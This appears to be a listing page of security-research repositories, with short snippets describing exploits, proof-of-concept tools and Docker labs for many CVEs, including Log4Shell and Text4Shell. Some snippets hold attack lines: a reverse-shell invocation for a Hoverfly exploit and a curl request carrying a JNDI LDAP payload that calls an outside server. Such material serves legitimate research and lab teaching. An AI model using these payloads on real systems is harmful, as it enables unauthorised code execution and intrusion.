HTB-Silentium-Writeup

HTB - Silentium Writeup Machine Info Name: Silentium OS: Linux Difficulty: Easy CVEs: CVE-2025-58434, CVE-2025-59528, CVE-2025-8110 Enumeration Nmap Scan nmap -sC -sV -p- --min-rate 5000 -oN nmap.txt Open ports: 22 SSH, 80 HTTP Virtual Hostsstaging.silentium.htb runs Flowise 3.0.5 Foothold —...

tpadmin-CVE-2026-2113-poc

tpadmin-CVE-2026-2113-poc A proof-of-concept exploiting a Remote Code Execution with web server privileges via Arbitrary File Upload. Vulnerability Description A critical Remote Code Execution vulnerability exists in H-ui.admin system's WebUploader preview component. The...

MAL-009

MAL-009: Insecure Chaining of Flags T and TT in Zip for Linux In Zip for Linux, the “-TT” flag can be used to run arbitrary system commands. Due to the dangerous nature of this flag, it must always be used at the same time as the “-T” flag. By using a flag chaining attack, attackers that should...

cve-2018-7600-drupalgeddon2-lab

CVE-2018-7600 Drupalgeddon2 Vulnerability Lab Educational lab demonstrating exploitation of CVE-2018-7600 Drupalgeddon2 using a vulnerable Drupal 7.56 environment deployed with Docker. This project simulates a real-world vulnerability assessment workflow, including: Vulnerable environment setup...

CVE-2026-34724

🚨 CVE-2026-34724 - Zammad 7.0.1 - Server-Side Template Injection SSTI to Remote Code Execution RCE via AI Agent 📌 Overview Zammad is a popular open-source web-based helpdesk and customer support system. CVE-2026-34724 is a Server-Side Template Injection SSTI vulnerability in the new AI Agent...

react2shell-cve-2025-55182

🚨 React2Shell - CVE-2025-55182 Exploitation Framework Advanced exploitation framework for CVE-2025-55182 Next.js Remote Code Execution Author: opsecramdan 📚 Table of Contents Overview Vulnerability Details Features Requirements Installation Usage Interactive Shell Output Files Impact Mitigation...

EXPLOIT-CVE-2021-44228

CVE-2021-44228 — Log4Shell PoC Lab DISCLAIMER This lab was created exclusively for educational and security research purposes. All traffic occurs within an isolated Docker network. Do not use this material on real systems or without explicit authorization. Misuse may be a crime. Use responsibly...

CVE-2022-22963

CVE-2022-22963 Spring Cloud Function SpEL Expression Injection Remote Code Execution Vulnerability Detection and Exploitation Tool. Vulnerability Overview CVE-2022-22963 is a high-severity RCE vulnerability CVSS 9.8 in the routing functionality of Spring Cloud Function. When the application enabl...

mitigation-cve-2019-9787

mitigation-cve-2019-9787 POC 1. simply xss : 2. simple csrf: attacker's website code--- https://github.com/kuangting4231/wordpress.github.io 3. csrf remote code execution: attacker's website code--- https://github.com/kuangting4231/assigment1.github.io mitigation 1. fix the logic flaw in the...

CVE-2025-47812-PoC

CVE-2025-47812 — Wing FTP Server Remote Code Execution RCE Overview Field| Value ---|--- CVE| CVE-2025-47812 Affected| Wing FTP Server 7.4.4 Type| Unauthenticated Remote Code Execution CVSS Score| 10.0 Critical Fixed in| Wing FTP Server 7.4.4 How it works The vulnerability exists in the...

CVE-2026-42945

CVE-2026-42945 Security Detection Tool This is a CVE-2026-42945 static detection tool for defense and internal network investigation, used to check whether there are high-risk rewrite combinations in NGINX ngxhttprewritemodule related configurations. This project does not provide exploit code, do...

CVE-2025-31722

CVE-2025-31722 — Jenkins Templating Engine RCE For educational and authorized security research purposes only. Description Sandbox bypass vulnerability in the Jenkins Templating Engine JTE plugin = 2.5.3 that allows a low-privileged user to execute arbitrary code on the Jenkins server. The flaw...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Usage Command execution: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse Shell: nc -lvnp 443 python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443 Disclaimer This script is intended for...

CVE-2022-42889

🚀 CVE-2022-42889 Text4Shell Exploit A Python exploit for CVE-2022-42889 Text4Shell, a critical remote code execution vulnerability in Apache Commons Text versions prior to 1.10.0. 📋 Table of Contents Description Vulnerability Details Affected Versions Exploit Features Requirements Usage Examples...

CVE-2025-60787-POC

CVE-2025-60787 - motionEye Authenticated RCE Authenticated Remote Code Execution in motionEye = 0.43.1b4 via unsanitized motion config parameter Author: d3vn0mi Vulnerability Overview Field| Details ---|--- CVE ID| CVE-2025-60787 CVSS Score| 7.2 High Type| OS Command Injection CWE-78 Affected|...

log4j-vul

log4j-vul This project is just to show Apache Log4j2 Vulnerability - aka CVE-2021-44228 Java: java version "1.8.0121" Compile: from src folder javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Execute\Run: from src folder java -classpath...

jboss-deserialization

JBoss Insecure Deserialization to RCE via CVE-2017-12149. JBoss Insecure Deserialization - RCE Exploitation Lab. The idea here is to setup a lab with an old JBoss version 7.0 in order to exploit the vulnerability. We can use Docker to facilitate all the process. For this, we're gonna need an Orac...

CVE-2023-42115

CVE-2023-42115 Exim AUTH Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Exim. Authentication is not required to exploit this vulnerability. Build git clone...

CVE-2025-41243-Vulnerability-Lab

CVE-2025-41243: Spring Cloud Gateway RCE Lab Vulnerability Description Spring Cloud Gateway has a SpEL expression injection vulnerability. When the Actuator endpoint is enabled, an attacker can achieve remote code execution RCE. How to Start docker-compose up -d Reproduction 1. Access...

log4shell_lab

log4shell exploit lab This repository is a single-line setup for log4shell exploit lab. Setup the lab: docker-compose up -d Run exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Then go to vul container and see that indeed we pwned the machine: Video...